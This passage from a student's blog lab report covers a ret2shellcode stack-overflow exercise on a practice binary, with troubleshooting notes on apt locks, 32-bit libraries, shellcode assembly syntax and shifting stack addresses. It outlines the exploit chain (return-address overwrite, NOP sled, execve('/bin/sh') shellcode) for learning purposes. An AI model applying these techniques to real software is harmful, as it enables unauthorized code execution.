6 计算 esp + 4 得到返回后适合跳转的地址
7 构造最终 payload 覆盖返回地址并指向 shellcode
8 运行程序验证 成功获得 shell 并读取测试文件

通过本节实验,我进一步理解了栈溢出利用的底层过程。相比上一节直接跳转到 getShell() 函数,这一节的利用方式更加接近传统 shellcode 注入:先将 shellcode 作为输入写入栈中,再通过覆盖返回地址让程序跳转到栈上的 shellcode 执行。

整个利用过程依赖几个条件:首先,foo 函数中的 gets() 没有长度检查,可以造成栈溢出;其次,程序没有开启 Canary,因此覆盖返回地址时不会被栈保护机制拦截;再次,栈空间可以执行,因此写入栈中的 shellcode 才能被 CPU 当作指令执行。

最终,我成功使用 Perl 构造 payload,将返回地址覆盖为 0xffffd070,并通过 NOP sled 跳转到 shellcode,完成了从栈溢出到执行 /bin/sh 的完整利用过程。

三、遇到的问题

3.1 更新时遇到 cache lock

在配置实验环境时,我首先需要安装一些依赖工具。但在安装过程中,终端提示部分软件包无法下载,并出现了:

404 Not Found

这类问题通常和本地软件源索引过期有关。也就是说,系统本地记录的软件包版本已经和当前软件源中的实际版本对不上了,所以继续按照旧索引安装时,就会出现下载失败。

因此,我先中断当前安装过程,然后执行:

apt-get update

这条命令的作用是重新同步软件源中的软件包列表,让系统使用最新的软件包索引。

apt-get update 更新软件源

图 3-1-1 终端中执行 apt-get update 更新本地软件源索引。

软件源更新完成后,我继续安装实验需要的 Python 工具:

apt install python3-pip

但是这时又出现了新的问题,终端一直提示:

Waiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend.
It is held by process 4765 (unattended-upgr)

这里的意思是,当前 apt 或 dpkg 的锁文件被其他进程占用了。Ubuntu 系统中经常会有后台自动更新进程 unattended-upgr,如果它正在执行更新操作,就会占用 /var/lib/dpkg/lock-frontend,导致我手动执行安装命令时只能等待。

安装 python3-pip 时遇到 cache lock

图 3-1-2 执行 apt install python3-pip 时,终端提示 /var/lib/dpkg/lock-frontend 被其他进程占用。

为了确认锁文件到底被哪个进程占用,我使用 lsof 查看锁文件状态:

sudo lsof /var/lib/dpkg/lock-frontend

查询结果显示,占用该锁文件的进程确实是 unattended-upgr,对应的 PID 为 4765。这一步比较重要,因为遇到锁文件问题时,不能一上来就直接删除锁文件,而应该先确认当前是否真的有进程正在使用它。

使用 lsof 查看 lock-frontend 占用进程

图 3-1-3 使用 sudo lsof /var/lib/dpkg/lock-frontend 查看锁文件占用情况。

随后,我尝试结束之前看到的旧进程:

kill 4765
kill -9 4765

但是终端提示:

No such process

这说明 PID 为 4765 的进程已经不存在了。接着我又执行:

dpkg --configure -a

系统提示 dpkg frontend lock was locked by another process with pid 75741,说明当前真正占用锁文件的已经变成了新的 PID 75741。这里也提醒我,锁文件问题不能只盯着第一次看到的 PID,因为后台自动更新进程可能已经结束、重启,或者切换成了新的进程。

尝试结束旧进程后锁仍被新进程占用

图 3-1-4 尝试结束旧 PID 后,终端提示旧进程不存在,并显示锁文件被新的 PID 占用。

等待一段时间后,我再次尝试执行安装命令,但是锁文件仍然被占用。当时我尝试中断当前命令,并准备删除锁文件:

sudo rm /var/lib/dpkg/lock-frontend

这里需要特别说明,直接删除锁文件并不是推荐做法。如果后台进程仍然在运行,强行删除锁文件可能导致软件包管理状态异常。更稳妥的做法是先确认相关 apt、dpkg、unattended-upgr 进程是否仍在运行,确认没有实际安装任务后,再处理锁文件和软件包配置状态。

再次安装时 cache lock 仍然存在

图 3-1-5 再次执行安装命令时,终端仍然提示 cache lock 被占用。

这个问题可以整理如下:

现象 可能原因 处理思路
安装软件包时出现 404 Not Found 本地软件源索引过期 先执行 apt-get update 更新索引
出现 lock-frontend 被占用 后台自动更新或其他包管理进程正在运行 使用 lsof 或进程命令确认占用者
kill 旧 PID 后提示不存在 原进程已经结束或 PID 已变化 重新确认当前占用锁文件的进程
长时间无法安装 后台任务卡住或包管理状态异常 谨慎处理锁文件,并执行 dpkg --configure -a 修复状态

遇到 cache lock 时,不能只根据第一次提示中的 PID 处理问题。后台自动更新进程可能会变化,所以每次操作前都应该重新确认当前占用锁文件的进程。

3.2 有权限但是无法运行文件

在运行实验程序 pwn1 时,我遇到了一个比较容易误判的问题。我在当前目录下执行:

./pwn1

但是终端提示:

bash: ./pwn1: No such file or directory

从表面上看,这句话很容易让人以为文件不存在。但在二进制程序分析中,即使文件确实存在,也可能因为系统缺少对应架构的动态加载器、运行库或兼容环境,导致出现类似提示。

执行 pwn1 时提示 No such file or directory

图 3-2-1 执行 ./pwn1 时,终端提示 No such file or directory。

为了进一步排查,我使用 ldd 查看程序的动态链接情况:

ldd ./pwn1

结果显示:

not a dynamic executable

这个结果说明当前系统不能按照普通动态链接程序的方式解析该文件。结合前面 file 命令确认 pwn1 是 32 位 ELF 程序,我这里可以初步判断,问题很可能和 64 位 Ubuntu 环境缺少 32 位运行支持有关。

很多 PWN 练习题都是 32 位 ELF 程序。如果系统是 64 位 Ubuntu,但没有安装 i386 架构支持和对应的 32 位库,就可能出现“文件存在、有执行权限,但运行时提示不存在”的情况。

使用 ldd 检查 pwn1 链接情况

图 3-2-2 使用 ldd ./pwn1 检查程序依赖时,终端提示 not a dynamic executable。

为了解决 32 位程序在 64 位系统上无法运行的问题,我添加了 i386 架构支持,并安装常见的 32 位运行库:

dpkg --add-architecture i386
apt install libc6:i386 libncurses5:i386 libstdc++6:i386

其中,dpkg --add-architecture i386 用于让系统支持安装 i386 架构的软件包;后面的 libc6:i386、libncurses5:i386 和 libstdc++6:i386 是运行 32 位程序时常见的基础依赖库。

添加 i386 架构并安装 32 位运行库

图 3-2-3 终端中添加 i386 架构支持,并安装 32 位运行库。

安装完成后,我再次运行 pwn1:

./pwn1

这一次程序能够正常执行,并输出了预期内容:

20253902 wuchenyu qwq
20253902 wuchenyu qwq

这说明前面的问题并不是文件不存在,也不是简单的执行权限问题,而是当前系统缺少运行该 32 位程序所需的兼容环境。

安装 32 位运行库后成功运行 pwn1

图 3-2-4 安装 32 位运行库后再次执行 ./pwn1,程序能够正常运行。

这个问题可以总结为:

排查点 观察结果 分析
文件是否存在 文件在当前目录中 不是简单的文件丢失
是否有执行权限 可以尝试执行 问题不只在权限
ldd 检查结果 not a dynamic executable 当前环境不能正常解析依赖
程序架构 32 位 ELF 需要 32 位运行环境
解决方式 安装 i386 运行库 程序可以正常执行

遇到“文件存在、有执行权限,但运行时提示不存在”的情况时,不能只从权限角度判断,还要考虑程序架构、动态加载器和系统运行库是否匹配。

3.3 汇编错误

在编写 shellcode 时,我使用工具对汇编代码进行汇编,但出现了报错。报错信息中提示:

[ERROR] An error occurred while assembling

其中第 13 行被标记为:

xor ecx ecx

这一行的错误原因是汇编语法写错了。在 Intel 汇编语法中,指令操作数之间需要使用逗号分隔,因此正确写法应该是:

xor ecx, ecx

同理,类似的寄存器清零写法也应该写成:

xor edx, edx
xor eax, eax

shellcode 汇编时出现语法错误

图 3-3-1 汇编 shellcode 时,终端提示第 13 行附近存在语法错误。

这部分 shellcode 的目标是构造 execve("/bin/sh", 0, 0) 系统调用,主要步骤包括清空寄存器、压入字符串、设置参数和触发系统调用。这里的报错并不是利用思路错了,而是汇编语法细节没有写对。

错误写法 正确写法 原因
xor ecx ecx xor ecx, ecx 两个操作数之间缺少逗号
xor edx edx xor edx, edx Intel 语法要求操作数用逗号分隔
xor eax eax xor eax, eax 同样需要补上逗号

这次错误本质上不是思路问题,而是汇编语法细节问题。以后写 shellcode 时,需要特别注意操作数之间的逗号,尤其是在 Intel 语法下,少一个逗号就会导致汇编失败。

3.4 地址改变

在后续调试过程中,我发现栈地址会发生变化。使用 pwndbg 查看栈内容时,我通过下面的命令观察 esp 附近的数据:

x/24wx $esp

第一次查看时,栈上某个关键位置对应的地址为:

0xffffcfcc

后续再次运行或重新调试时,对应位置变成了:

0xffffd07c

两个地址相差不算特别大,但对于返回地址覆盖来说,这种偏移已经足以影响利用结果。如果 payload 中写入的是旧地址,而本次运行时 shellcode 实际位置已经变化,程序就可能跳到错误位置,导致利用失败。

多次查看 esp 附近栈地址发现地址变化

图 3-4-1 使用 pwndbg 多次查看 esp 附近栈内容时,栈地址出现变化。

为了进一步确认当前程序运行时的栈状态,我在反汇编窗口和栈窗口中继续观察。此时程序执行到 foo 函数附近,当前栈中保存了与输入字符相关的数据,并且栈窗口中标记出的关键地址为:

0xffffcfcc

这说明在当前这一次运行中,应该以当前调试环境下显示的实际地址为准,而不能直接套用上一次运行得到的地址。

pwndbg 中结合反汇编和栈窗口确认当前地址

图 3-4-2 在 pwndbg 中结合反汇编窗口和栈窗口查看当前执行状态。

这类地址变化在 PWN 实验中很常见,可能与系统环境、调试方式、栈布局、环境变量以及地址随机化有关。即使程序逻辑没有变化,重新运行程序后栈地址也可能发生偏移。因此,在构造 payload 时不能机械使用固定地址,而应该结合当前调试结果重新确认。

现象 原因分析 处理方式
多次运行后栈地址不同 栈布局可能发生偏移 每次调试时重新确认关键地址
地址只发生小范围变化 环境变量、调试状态或栈对齐可能影响布局 结合当前 esp 和栈窗口判断
payload 使用固定地址后失败 目标地址与当前运行环境不一致 使用当前调试得到的地址重新构造
地址变化影响利用稳定性 地址随机化或运行环境差异 关闭 ASLR、增加 NOP sled 等方式可以提高稳定性

在具体实验中,如果是为了本地调试,可以暂时关闭 ASLR,让栈地址更稳定;同时也可以在 payload 中加入 NOP sled,提高返回地址落点的容错范围。不过真正理解这个问题的关键不是简单关闭保护,而是知道为什么地址会变化,以及这种变化会怎样影响返回地址覆盖。

在调试栈溢出利用时,地址不是只看一次就能固定下来的。每次重新运行程序后,都需要确认当前栈地址是否发生变化,否则 payload 很可能因为地址偏移而执行失败。

四、心得体会

这次作业围绕ret2text和ret2shellcode两类二进制漏洞利用展开,实际上是把栈相关的基础漏洞利用知识又完整过了一遍,同时穿插着IDA与GDB的动静态调试,以及对整条利用链的分析。其中令我印象最深的,是自己动手撰写shellcode去完成题目的那一段过程——前后断断续续折腾了好几天,中间卡在寄存器状态和跳转地址的对应关系上反复调试,直到最后才把整条链路完全打通。这种反复受挫又反复推敲的过程,恰恰是pwn这类题目最真实的样子:它不像web渗透那样,往往能看到权限一步步被拿下的直观痕迹,pwn的每一步操作都埋在寄存器、栈帧和内存布局的细节里,任何一处偏差都可能导致整条链路失效,因此对利用链的整体把握,比单点技巧的熟练程度更为重要,也更考验耐心。

本科阶段我曾系统学习过一年CTF-PWN方向的内容,当时的想法很简单——真正做二进制方向的人本就不多,而PWN题目又是所有渗透方向里最贴近底层、最纯粹的一种,那种直面内存与寄存器的感觉很吸引人,所以那段时间几乎把全部精力都投入了进去。后来出于保研方面的考虑,不得不暂时放下这条线,转向了其他更需要兼顾的方向。这次课程算是给了自己一个重新捡起来的机会,我特意重新配置了一台简单的CTF-PWN练习环境,从pwntools到pwndbg一样样装回去。如果后续时间允许,打算把这个方向重新当作一项长期的兴趣继续深入下去,不必再和升学、考核这些现实目标绑定,单纯当作技术上的自我训练。

五、参考资料

这里放上一些大师傅的博客以及相关学习资料。(没有AI生成!每一个都可以跳转)

posted @ 2026-05-30 21:59  20253902吴晨宇  阅读(32)  评论(0)    收藏  举报